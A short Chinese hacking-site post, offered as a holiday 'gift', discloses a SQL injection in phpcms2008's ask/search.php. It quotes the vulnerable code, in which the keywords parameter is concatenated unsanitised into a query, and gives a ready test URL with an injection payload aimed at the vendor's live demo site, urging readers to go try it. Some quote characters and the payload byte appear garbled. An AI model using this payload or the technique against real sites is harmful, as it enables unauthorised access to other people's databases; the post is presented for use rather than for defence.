中秋节到了,这里我送上phpcms2008的一枚注射漏洞!!希望各位朋友多多支持本站啊~~

漏洞存在于ask/search.php文件,以下是漏洞代码:

if($keywords)

{

$where .= ” AND title LIKE ‘%$keywords%'”;

}

$infos = $ask->listinfo($where, ‘askid DESC’, $page, 20);

下面我们来看看listinfo()过程的代码:

function listinfo($where = ”, $order = ”, $page = 1, $pagesize = 50)

{

if($where) $where = ” WHERE $where”;

if($order) $order = ” ORDER BY $order”;

$page = max(intval($page), 1);

$offset = $pagesize*($page-1);

$limit = ” LIMIT $offset, $pagesize”;

$r = $this->db->get_one(“SELECT count(*) as number FROM $this->table $where”);

Oh yeah!!注射漏洞就这么产生了,以下是测试语句:

http://demo.phpcms.cn/ask/search.php?keywords=�\’

这是官方的演示站~~有兴趣的自己去叼~~88

声明:本站(华域联盟www.cnhackhy.com)所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。